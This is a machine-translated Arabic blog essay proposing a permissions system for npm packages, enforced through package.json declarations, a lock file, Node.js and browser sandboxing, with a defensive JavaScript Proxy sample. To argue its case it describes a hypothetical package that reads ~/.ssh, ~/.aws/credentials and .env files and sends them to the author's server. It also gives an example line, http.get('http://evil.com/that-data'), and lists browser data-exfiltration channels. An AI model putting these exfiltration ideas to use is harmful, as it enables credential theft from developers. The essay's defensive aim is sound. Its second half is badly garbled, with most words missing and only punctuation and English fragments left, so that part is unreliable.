لديك فكرة: نظام إذن لحزم npm

قبل بضعة أيام ، قمت بتشغيل الآلة الحاسبة لأول مرة على هاتف جديد وشاهدت هذه الرسالة: "ترغب الحاسبة في الوصول إلى جهات الاتصال الخاصة بك."


في البداية ، بدت هذه الرسالة حزينة بعض الشيء بالنسبة لي (يبدو أن الآلة الحاسبة كانت وحيدة) ، لكن هذه الحالة جعلتني أفكر ...

ماذا لو ، مثل تطبيقات الهاتف ، ستحتاج حزم npm إلى الإعلان عن الأذونات اللازمة لعملها؟ مع هذا النهج ، قد يبدو ملف الحزمة package.json بشيء من هذا القبيل:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

على npmjs.com ، قد يبدو قسم من صفحة الحزمة يحتوي على معلومات حول الأذونات التي يحتاجها مثل هذا.


قد يكون قسم الإذن هذا متاحًا للحزم على موقع سجل npm.
قد تكون قوائم الأذونات لحزمة ما عبارة عن مزيج من أذونات كل التبعيات والأذونات الخاصة بها.

إن إلقاء نظرة واحدة على محتويات قسم permissions حزمة fancy-logger قد يجعل المطور يفكر في سبب احتياج الحزمة التي تكتب شيئًا ما إلى وحدة التحكم إلى وحدة نمطية http والتي تبدو مشبوهة إلى حد ما.

ما هو العالم الذي سيتم فيه استخدام نظام إذن مماثل لحزم npm؟ ربما لن يرى شخص ما النقطة في هذا الأمر ، لأنه يشعر بالأمان التام ، على سبيل المثال ، يستخدم فقط الحزم الموثوقة من الناشرين الذين تم اختبارهم عبر الزمن. لكي يشعر كل من يقرأ هذا بالضعف ، إليك قصة قصيرة.

قصة كيف أسرق متغيرات البيئة الخاصة بك


كنت أرغب في إنشاء حزمة npm تسمى space-invaders . كان من المثير للاهتمام معرفة كيفية صنع الألعاب عن طريق كتابة لعبة تعمل في وحدة التحكم ، وفي الوقت نفسه إثبات وجهة نظري حول نقاط الضعف المتعلقة بحزم npm.

يمكنك تشغيل هذه اللعبة باستخدام هذا الأمر: npx space-invaders . بعد إطلاقه ، يمكن للمرء أن يبدأ على الفور إطلاق النار على الأجانب وقتل الوقت.

تريد هذه اللعبة ، وستشاركها مع الأصدقاء ، ويودون ذلك أيضًا.

كل هذا يبدو إيجابيا للغاية ، ولكن ، مسلية لك ، فإن space-invaders اللعبة سوف تفعل space-invaders الخاص بها ، وهي جمع بعض البيانات. سيجمع معلومات من ~/.ssh/ ، ~/.aws/credentials ، من ~/.bash_profile والأماكن المشابهة الأخرى ، وقراءة محتويات جميع ملفات .env التي يمكن أن تصل إليها ، بما في ذلك process.env ، تبدو إلى تكوين git (من أجل معرفة معلوماته التي يجمعها) ، ثم ترسلها كلها إلى الخادم الخاص بي.

لم أكتب مثل هذه اللعبة ، لكن لبعض الوقت كنت أشعر بعدم الارتياح ، وعندما أقوم بتشغيل الأمر npm install ، أفكر في مدى ضعف npm install . الآن ، بالنظر إلى مؤشر تقدم عملية التثبيت ، أفكر في عدد المجلدات والملفات القياسية على الكمبيوتر المحمول الذي يجب ألا تقع محتوياته في الأيدي الخطأ.

ولا يتعلق الأمر بمساحة العمل الخاصة بي فقط. على سبيل المثال ، لا أعرف حتى ما إذا كانت هناك بيانات في بعض متغيرات البيئة لنظام تجميع الموقع الخاص بي للاتصال بقاعدة بيانات خادم الإنتاج. إذا كان هناك مثل هذه البيانات في مكان ما ، فيمكنك تخيل موقف تقوم فيه حزمة npm خبيثة بتثبيت نص برمجي في النظام مصمم للاتصال بقاعدة بيانات العمل الخاصة بي. ثم ينفذ هذا البرنامج النصي أمر SELECT * from users ، ثم http.get('http://evil.com/that-data') . ربما يرجع السبب في ذلك على وجه التحديد إلى احتمال وقوع مثل هذه الهجمات ، ألا يتم تخزين كلمات المرور في قواعد البيانات بنص عادي؟

كل هذا يبدو مخيفًا جدًا ، والأرجح أن يحدث بالفعل (على الرغم من أنه من المستحيل القول ما إذا كان هذا يحدث أم لا).

مع هذا ، ربما ، سنتوقف عن الحديث عن عواقب سرقة البيانات الهامة. دعنا نعود إلى موضوع أذونات حزم npm.

قفل إذن التغييرات


أفترض أنه سيكون من الرائع أن تكون قادرًا على رؤية الأذونات التي تحتاجها الحزمة عند عرض موقع npm. ولكن تجدر الإشارة إلى أن القدرة على رؤية أذونات جيدة فقط عند تطبيقها على نقطة زمنية محددة ، في الواقع ، هذا لا يحل المشكلة الحقيقية.

في حادثة حدثت مؤخرًا في npm ، قام شخص ما أولاً بنشر إصدار تصحيح لحزمة مع تعليمات برمجية ضارة ، ثم نشر نسخة بسيطة تمت إزالة الكود الضار منها بالفعل. كانت الفترة الزمنية بين هذين الحدثين كافية لتهديد العديد من مستخدمي الحزمة الخطرة.

هذه هي المشكلة. ليست الحزم التي يتم إنشاؤها بواسطة البرامج الضارة وتبقى كذلك طوال الوقت. المشكلة هي أنه في حزمة موثوقة على ما يبدو يمكنك إضافة شيء سيء بهدوء وبعد فترة من الوقت إزالته منه.

نتيجة لذلك ، يمكننا القول إننا نحتاج إلى آلية لحظر مجموعة الأذونات التي تتلقاها الحزم.

ربما سيكون مثل ملف package-الأذونات.json الذي يقوم بتعيين أذونات لـ Node.js وللمتصفح ويحتوي على قائمة الحزم التي تحتاج إلى هذه الأذونات. مع هذا النهج ، سيكون من الضروري إدراج جميع الحزم في مثل هذا الملف ، وليس فقط تلك الموجودة في قسم dependencies في ملف package.json الخاص بالمشروع.

إليك ما قد يبدو عليه ملف package-permissions.json .json.

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

يمكن أن يحتوي الإصدار الحقيقي لمثل هذا الملف على المزيد من إدخالات الحزمة.

الآن تخيل أنك في يوم من الأيام تقوم بتحديث حزمة بها مائتي تبعيات سيتم تحديثها أيضًا. تم نشر إصدار تصحيح لأحد هذه التبعيات ، والذي كان يحتاج فجأة إلى الوصول إلى http Node.js.

إذا حدث هذا ، فسوف يفشل أمر npm install برسالة مشابهة لما يلي: "طلب حزمة add-two-number تحتاجها حزمة تسجيل fancy-logger تطلب الوصول إلى http Node.js. قم بتشغيل الأمر npm update-permissions add-two-numbers لحل هذه المشكلة ، ثم قم بتشغيل الأمر npm install مرة أخرى. "

هنا ، fancy-logger هي الحزمة الموجودة في ملف package.json الخاص بك (بافتراض أنك على دراية بهذه الحزمة) ، وحزمة add-two-numbers عبارة عن تبعية fancy-logger لم يسمع بها أحد من قبل.

بطبيعة الحال ، حتى لو كان هناك ملف في النظام لحظر التبعيات ، فإن بعض المطورين سيؤكدون الأذونات الجديدة دون التفكير في أي شيء. ولكن ، كحد أدنى ، سيكون التغيير في package-permissions.json json مرئيًا في طلب السحب ، أي أنه ستكون هناك فرصة لأن ينتبه مطور آخر أكثر مسؤولية إلى ذلك.

علاوة على ذلك ، فإن التغييرات في الأذونات المطلوبة تتطلب تسجيل npm نفسه لإعلام مؤلفي الحزمة عندما يتغير الموقف في مكان ما في شجرة التبعية الخاصة بالحزم الخاصة بهم. ربما - سيتم ذلك عن طريق البريد الإلكتروني مع المحتويات التالية:

"مرحبا ، مؤلف fancy-logger . نعلمك أن add-two-number ، الحزمة التي تستخدم إمكاناتها ، طلبت إذنًا للعمل مع وحدة http . تم تحديث أذونات الحزمة الخاصة بك ، كما هو موضح في npmjs.com/package/fancy-logger ، وفقًا لذلك. "

سيؤدي هذا بالطبع إلى إضافة حالات لكل من مؤلفي الحزم و npm بحد ذاتها ، لكن هذه الحالات تستحق إنفاق بعض الوقت عليها. في هذه الحالة ، يمكن لمؤلف add-two-numbers أن يكون متأكدًا تمامًا من أنه إذا طلب الإذن للعمل مع وحدة http ، فسيؤدي ذلك إلى إطلاق العديد من "الإنذارات" في جميع أنحاء العالم.

هذا هو ما نحتاجه. هاه؟ أود أن ، كما هو الحال بالنسبة لتطبيقات الهاتف ، وحتى في حالة الامتدادات لـ Chrome ، ستكون الحزم التي تتطلب أذونات أقل أكثر شعبية لدى المستخدمين من أولئك الذين يحتاجون إلى مستوى عالٍ من الوصول إلى الأنظمة بشكل غير مفهوم. وهذا بدوره سيجعل مؤلفي الحزم يفكرون جيدًا عند اختيار الأذونات المطلوبة لتطويرهم.

افترض أن npm تقرر إدخال نظام إذن. في اليوم الأول من بدء تشغيل هذا النظام ، سيتم اعتبار جميع الحزم تتطلب أذونات كاملة (سيتم اتخاذ مثل هذا القرار لاحقًا - في الحالات التي يكون فيها قسم permissions مفقودًا في package.json ).

سيهتم مؤلف الحزمة ، الذي يريد الادعاء بأن الحزمة الخاصة به لا تتطلب أذونات خاصة ، بإضافة قسم permissions في package.json ككائن فارغ. وإذا كان مؤلفو الحزم مهتمين بدرجة كافية بحيث لا "تحمل" أذونات التبعية عبئًا على حزمهم ، فسوف يحاولون التأكد من أن حزم التبعية هذه لا تتطلب أيضًا أذونات خاصة ، على سبيل المثال ، من خلال تقديم طلبات سحب مناسبة في مستودع التبعية.

بالإضافة إلى ذلك ، سيسعى كل مؤلف الحزمة إلى تقليل خطر تعرض الحزمة الخاصة به عند كسر أحد تبعياته. لذلك ، إذا استخدم مؤلفو الحزم تبعيات تتطلب أذونات ، والتي ، على ما يبدو ، ليست ضرورية ، سيكون لديهم حافز للتبديل إلى استخدام حزم أخرى.

وفي حالة المطورين الذين يستخدمون حزم npm عند إنشاء التطبيقات ، فإن ذلك سيجبرهم على إيلاء اهتمام خاص للحزم المستخدمة في مشاريعهم ، واختيار تلك التي لا تتطلب أذونات خاصة بشكل أساسي. في الوقت نفسه ، بالطبع ، تتطلب بعض الحزم ، لأسباب موضوعية ، أذونات يمكن أن تسبب مشاكل ، ولكن من المحتمل أن تكون هذه الحزم تحت سيطرة خاصة للمطورين.

ربما يساعد شيء مثل Greenkeeper بطريقة ما في حل كل هذه المشكلات.

وأخيرًا ، سيوفر ملف package-permissions.json json ملخصًا سهل الفهم لمهني الأمان الذي يقوم بتقييم "الثغرات" المحتملة في تطبيق ما ويسمح لك بطرح أسئلة محددة حول الحزم المثيرة للجدل وأذوناتها.

كنتيجة لذلك ، آمل أن تنتشر خاصية permissions البسيطة هذه على نطاق واسع بين حزم 800000 npm تقريبًا وجعل npm أكثر أمانًا.

بالطبع ، هذا لن يمنع الهجمات المحتملة. مثلما لا تسمح الأذونات التي تطلبها تطبيقات الهاتف المحمول بإنشاء تطبيقات جوّالة ضارة موزعة عبر المواقع الرسمية. ولكن هذا سيؤدي إلى تضييق "سطح الهجوم" على الحزم التي تطلب صراحة الحصول على إذن لأداء بعض الإجراءات التي قد تشكل تهديدًا لأنظمة الكمبيوتر. بالإضافة إلى ذلك ، سيكون من المثير للاهتمام معرفة نسبة الحزم التي لا تحتاج إلى أي أذونات خاصة على الإطلاق.

هذا هو ما تبدو عليه آلية العمل مع أذونات حزم npm التي فكرت بها. إذا أصبحت هذه الفكرة حقيقة واقعة ، فيمكننا إما الاعتماد على حقيقة أن المهاجمين سيصفون حزمهم بأمانة من خلال إعلان الأذونات ، أو الجمع بين نظام التصريح بالأذونات وآلية التقييد القسري لقدرات الحزم وفقًا للأذونات التي يطلبونها. هذا سؤال مثير للاهتمام دعونا ننظر في الأمر كما هو مطبق على Node.js والمتصفحات.

فرض قيود الحزمة وفقًا للأذونات المطلوبة من قِبل Node.js


أرى هنا خيارين ممكنين لتطبيق هذه القيود.

▍ الخيار 1: حزمة npm خاصة تفرض تدابير أمنية


تخيل حزمة تم إنشاؤها وصيانتها بواسطة npm (أو أي منظمة أخرى موثوقة بنفس القدر وبصيرة). دع هذه الحزمة تسمى @npm/permissions .

سيتم تضمين مثل هذه الحزمة في رمز التطبيق مع أمر الاستيراد الأول ، أو سيتم تشغيل التطبيقات باستخدام أمر من node -r @npm/permissions index.js النموذج - node -r @npm/permissions index.js .

ستتجاوز الحزمة أوامر الاستيراد الأخرى بحيث لا تنتهك الأذونات المنصوص عليها في قسم permissions في ملفات package.json للحزم الأخرى. إذا لم يعلن مؤلف حزمة lovely-logger عن الحاجة إلى هذه الحزمة في الوحدة النمطية http Node.js ، فهذا يعني أنه لا يمكن الوصول إلى هذه الحزمة بواسطة هذه الوحدة.

بالمعنى الدقيق للكلمة ، حظر وحدات Node.js بالكامل بهذه الطريقة ليس مثاليًا. على سبيل المثال ، تقوم حزمة methods npm بتحميل الوحدة النمطية Node.js http ، ولكنها لا ترسل أي بيانات تستخدمها. يستغرق الأمر فقط كائن http.METHODS ، ويحول اسمه إلى http.METHODS ، ويصدره كحزمة npm كلاسيكية. تبدو هذه الحزمة الآن هدفًا رائعًا للمهاجمين - لديه 6 ملايين تنزيل أسبوعيًا ، بينما لم يتغير منذ 3 سنوات. يمكنني أن أكتب إلى مؤلفي هذه الحزمة وأدعوهم إلى إعطائي مستودعها.

النظر في حزمة methods ، سيكون من الأفضل التفكير في أنها لا تتطلب إذن network ، وليس إذنًا يتيح الوصول إلى وحدة http . ثم يمكن إصلاح هذا التقييد باستخدام آلية خارجية وتحييد أي محاولات من هذه الحزمة لإرسال بيانات معينة من الأنظمة التي تعمل فيها.

يمكن للحزمة التخيلية @npm/permissions أيضًا تقييد الوصول من حزمة واحدة إلى أي حزم أخرى لم يتم سردها @npm/permissions لها. سيمنع هذا الحزمة ، على سبيل المثال ، من استيراد شيء مثل fs-extra request ، واستخدام قدرات هذه الحزم لقراءة البيانات من نظام الملفات وإرسال بيانات القراءة إلى مهاجم.

وبالمثل ، قد يكون من المفيد التمييز بين الوصول إلى القرص "الداخلي" و "الخارجي". أنا سعيد تمامًا لأن node-sass تحتاج إلى الوصول إلى المواد الموجودة في دليل مشروعي ، لكن لا أرى أي سبب يجعل هذه الحزمة تحتاج إلى الوصول إلى أي شيء خارج هذا الدليل.

ربما ، في بداية إدخال نظام الأذونات ، @npm/permissions حزمة @npm/permissions إلى إضافتها إلى المشروعات يدويًا. ربما ، خلال الفترة الانتقالية ، خلال القضاء على الأعطال التي لا مفر منها ، وهذا هو النهج الوحيد المعقول لاستخدام مثل هذه الآلية. ولكن لضمان الأمان الحقيقي ، من الضروري دمج هذه الحزمة بإحكام في النظام ، حيث سيكون من الضروري مراعاة أذونات عند تنفيذ البرامج النصية لتثبيت الحزمة.

بعد ذلك ، على الأرجح ، اتضح أن الأمر البسيط في النموذج "enforcePermissions": true في ملف package.json الخاص بالمشروع سيُخبر npm بتشغيل أي برامج نصية مع الاستخدام القسري للأذونات التي أعلن عنها.

▍ الخيار 2: الوضع الآمن Node.js


من الواضح أن الوضع الخاص لتشغيل Node.js ، والذي يركز على زيادة مستوى الأمان ، سيتطلب تغييرات أكثر خطورة. ولكن ربما على المدى الطويل ، ستكون منصة Node.js نفسها قادرة على فرض القيود التي حددتها الأذونات التي أعلنتها كل حزمة.

من ناحية ، أعرف أن أولئك الذين يطورون منصة Node.js يسعون جاهدين لحل مشاكل هذا النظام الأساسي ، وأفكاري حول أمان حزم npm تتجاوز نطاق اهتماماتهم. بعد كل شيء ، في النهاية ، تعد npm مجرد التكنولوجيا التي تصاحب Node.js. من ناحية أخرى ، يهتم مطورو Node.js بجعل مستخدمي الشركات يشعرون بالثقة في العمل مع هذا النظام الأساسي ، والأمن ، من المفترض ، هو أحد جوانب Node.js التي يجب ألا تترك لـ "المجتمع".

لذا ، في حين أن كل ما تحدثنا عنه يبدو بسيطًا جدًا ومغليًا إلى حقيقة أن النظام بطريقة أو بأخرى سوف يتبع القدرات التي تستخدمها الوحدات النمطية أثناء تشغيل Node.js.

الآن دعنا نتحدث عن المتصفحات. كل شيء هنا لا تبدو واضحة ومفهومة على الإطلاق.

التقييد القسري لقدرات الحزم وفقًا للأذونات المطلوبة في المتصفحات


للوهلة الأولى ، يبدو التقييد القسري لقدرات الحزم في المتصفحات أكثر بساطة ، لأن الكود الذي يتم تشغيله في المتصفح لا يمكن أن يفعل الكثير وخاصة فيما يتعلق بنظام التشغيل الذي يعمل عليه المتصفح. في الواقع ، في حالة المتصفحات ، ما عليك سوى القلق بشأن قدرة الحزم على نقل البيانات إلى عناوين غير عادية.

المشكلة هنا هي أن هناك طرقًا لا حصر لها لإرسال البيانات من متصفح المستخدم إلى خادم المهاجم.

يُطلق على ذلك exfiltration أو تسرب البيانات ، وإذا سألت أحد متخصصي الأمن حول كيفية تجنب ذلك ، فسيخبرك بمظهر الشخص الذي اخترع البارود ، أن تتوقف عن استخدام npm.

أعتقد أنه بالنسبة للحزم التي تعمل في المتصفحات ، يجب عليك الانتباه إلى دقة واحدة فقط - الدقة المسؤولة عن القدرة على العمل مع الشبكة. دعنا نسميها network . قد تكون هناك أذونات أخرى في هذه البيئة (مثل تلك التي تنظم الوصول إلى DOM أو التخزين المحلي) ، لكنني هنا أستمر في الافتراض بأن شاغلنا الرئيسي هو إمكانية تسرب البيانات.

يمكن "إزالة" البيانات من المتصفح بعدة طرق. إليكم ما أتذكره في 60 ثانية:

  • fetch API.
  • مآخذ الويب
  • تقنية WebRTC.
  • منشئ EventSource .
  • XMLHttpRequest API
  • تعيين خاصية innerHTML للعناصر المختلفة (يمكنك إنشاء عناصر جديدة).
  • إنشاء كائن صورة باستخدام الأمر new Image() يمكن أن تكون خاصية src لصورة ما بمثابة وسيلة لإخراج البيانات).
  • إعداد document.location و window.location وما إلى ذلك.
  • تغيير خصائص src للصورة الحالية أو iframe أو شيء من هذا القبيل.
  • التغييرات في الخاصية target للعنصر <form> .
  • استخدام سلسلة مصممة بذكاء للوصول إلى أي من الآليات المذكورة أعلاه أو للوصول إلى شيء في top أو self بدلاً من windows .

تجدر الإشارة إلى أن سياسة أمان المحتوى الجيدة (CSP) قادرة على تحييد بعض هذه التهديدات ، لكن هذا لا ينطبق عليها جميعًا. إذا تمكن شخص ما من تصحيحني ، فسأكون سعيدًا ، لكنني أعتقد أنه لا يمكنك أبدًا الاعتماد على حقيقة أن CSP سوف يحميك تمامًا من تسرب البيانات. أخبرني أحد الأشخاص ذات مرة أن CSP يوفر حماية كاملة تقريبًا ضد عدد كبير من التهديدات. أجبت على هذا أنه لا يمكنك أن تكوني حاملًا قليلاً ، ومنذ ذلك الحين لم نتواصل مع هذا الشخص.

إذا اقتربت بحكمة من البحث عن طرق لسرقة البيانات من المتصفح ، فأنا متأكد من أنه من الواقعي تقديم قائمة كاملة إلى حد ما بهذه الطرق.

نحن الآن بحاجة إلى إيجاد آلية لمنع الوصول إلى استخدام الفرص من قائمة مماثلة.

Webpack (, @npm/permissions-webpack-plugin ), :

  • browser package-permissions.json , npm- ( - , ).
  • , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .


, , HTTP , , , -. هذا مفهوم.

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

ملخص


, , , , . , 90% , , , 10% — , .

, , - .

أعزائي القراء! , , npm, -?

Source: https://habr.com/ru/post/ar433010/


All Articles